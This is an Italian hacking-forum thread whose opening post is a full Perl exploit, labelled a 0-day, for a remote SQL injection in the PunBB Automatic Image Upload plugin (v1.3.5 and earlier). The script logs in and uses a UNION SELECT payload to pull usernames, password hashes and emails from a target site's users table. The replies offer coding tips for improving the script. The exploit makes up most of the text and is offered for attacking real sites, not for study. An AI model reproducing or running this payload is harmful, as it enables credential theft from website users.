PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit

Stato
Discussione chiusa ad ulteriori risposte.

imported_D4nt3

Utente Silver
6 Gennaio 2008
0
0
0
57
Codice:
#!/usr/bin/perl
#[0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#Works only if '$Allow_Stats[] = "[USERGROUP]";' is not commented in "uploadimg_config.php" [FIND LINE: 75]. Example:
#//$Allow_Stats[] = "Members"; => $Allow_Stats[] = "Members";

use LWP::UserAgent;
use HTTP::Cookies;
use strict;

my ($UserName,$PassWord,$ID) = @ARGV;

if(@ARGV < 3){
	&usage();
	exit();
}

my $Message = "";
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $Referrer = "http://www.warwolfz.com/";

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
			agent => 'Mozilla/5.0',
			max_redirect => 0,
			cookie_jar => $Cookies,
		) or die $!;

sub Login(){
	my $Login = $UserAgent->post($HostName.'/login.php?action=in',
				[
					form_sent		=> '1',
					redirect_url	=> 'index.php',
					req_username	=> $UserName,
					req_password	=> $PassWord,
					login => 'Login',
				]) || die $!;

	if($Login->content =~ /Logged in /i){
		return 1;
	}else{
		return 0;
	}
}

sub SQL_Injection{
	my ($User_ID) = @_;
	return "./uploadimg_view.php?view=gallery&id=-1 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),id,username,password,email) FROM users WHERE id=${User_ID}";
}

if (Login() == 1){
	$Message = " * Logged in as: " . $UserName;
}elsif (Login() == 0){
	$Message = " * Login Failed.";
}

my $Get = $UserAgent->get($HostName.SQL_Injection($ID));

if($Get->content =~ /([0-9]{1,10}) : ([a-zA-Z0-9-_.]{2,200}) : ([a-f0-9]{1,40}) : ([a-zA-Z0-9.@]{1,50})/i){
	refresh($Message, $HostName, $1, $2, $3, $4);
	print " * Exploit Successed                                  *\n";
	print " ------------------------------------------------------\n\n";
	system("pause");
}else{
	refresh($Message, $HostName, "", "", "", "");
	print " * Error extracting sensible data.\n";
	print " * Exploit Failed                                     *\n";
	print " ------------------------------------------------------ \n\n";
}


sub usage{
	system("cls");
	{
		print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit\n";
		print " ------------------------------------------------------ \n";
		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
		print " * perl name_exploit.pl [username] [password] [id]    *\n";
		print " ------------------------------------------------------ \n";
		print " *         Powered By Dante90, WaRWolFz Crew          *\n";
		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
		print " ------------------------------------------------------ \n";
	};
	exit;
}

sub refresh{
	system("cls");
	{
		print " \n [0-Day] PunBB Automatic Image Upload <= v1.3.5 Remote SQL Injection Exploit\n";
		print " ------------------------------------------------------ \n";
		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
		print " * perl name_exploit.pl [username] [password] [id]    *\n";
		print " ------------------------------------------------------ \n";
		print " *         Powered By Dante90, WaRWolFz Crew          *\n";
		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
		print " ------------------------------------------------------ \n";
	};
	print $_[0] ."\n";
	print " * Victime Site: " . $_[1] . "\n";
	print " * User ID: " . $_[2] . "\n";
	print " * Username: " . $_[3] . "\n";
	print " * Password: " . $_[4] . "\n";
	print " * E-Mail: " . $_[5] . "\n";
}

#WaRWolFz Crew

Dante
 
al posto di
Codice:
system("pause");
metti
Codice:
<>;
per rendere il codice portabile
Poi al posto di usare i system puoi usare i
Codice:
`codice`
e creare una funzione
Codice:
sub clear {
`clear`;
`cls`;
}
e ti togli l'impiccio di pulire lo schermo su qualsiasi os
Codice:
if(@ARGV < 3)
sicuro che funzioni?
Codice:
if ($#ARGV < 2)
mi sa che va.
C'è dell'altro ma sono di frettissima
 
shura ha detto:
al posto di
Codice:
system("pause");
metti
Codice:
<>;
per rendere il codice portabile
Poi al posto di usare i system puoi usare i
Codice:
`codice`
e creare una funzione
Codice:
sub clear {
`clear`;
`cls`;
}
e ti togli l'impiccio di pulire lo schermo su qualsiasi os
Codice:
if(@ARGV < 3)
sicuro che funzioni?
Codice:
if ($#ARGV < 2)
mi sa che va.
C'è dell'altro ma sono di frettissima

L'unica cosa che mi è interessata è sto fatto:

Codice:
system("pause");
metti
Codice:
<>;
per rendere il codice portabile

Se io metto "<>;" è cm scrivere system pause?

Codice:
if(@ARGV < 3)

my ($UserName,$PassWord,$ID) = @ARGV;

0,1,2. Quindi al massimo posso fare:

Codice:
if(@ARGV <= 2)

Dante
 
<> aspetta l'input utente fino alla newline, 10° carattere della convenzione ASCII.
Codice:
L'unica cosa che mi è interessata è sto fatto:
sta frase non mi piace, non vorrei comprendere erroneamente ma se è come dire "hai detto solo cagate" ti informo che io cerco di farti imparare qualcosa :)

EDIT: meglio se usi "<STDIN>;"
 
Penso intendesse "il resto lo conoscevo già, ma questo è il mio modo di codare exploit" - "questo invece non lo sapevo grazie. Dante"
 
V1R5 ha detto:
Penso intendesse "il resto lo conoscevo già, ma questo è il mio modo di codare exploit" - "questo invece non lo sapevo grazie. Dante"

Assurdo cm ci capiamo al volo io e te XD Dante

@shura: Forse sn apparso un po' sgarbato, nn era mia intenzione. Grazie della tua disponibilità cmq, cm vedi mi è interessato ciò che hai detto :) Dante
 
D4nt3 ha detto:
V1R5 ha detto:
Penso intendesse "il resto lo conoscevo già, ma questo è il mio modo di codare exploit" - "questo invece non lo sapevo grazie. Dante"

Assurdo cm ci capiamo al volo io e te XD Dante

@shura: Forse sn apparso un po' sgarbato, nn era mia intenzione. Grazie della tua disponibilità cmq, cm vedi mi è interessato ciò che hai detto :) Dante

te vojo ben xD
 
shura ha detto:
Mi sono prevenuto apposta, come se niente fosse allora

Scusami ancora ;) adesso sto codando un altro Exploit, sarei felice di sentire altre tue critiche :) (si chiamano così, possono essere sia positive che negative). Dante
 
Stato
Discussione chiusa ad ulteriori risposte.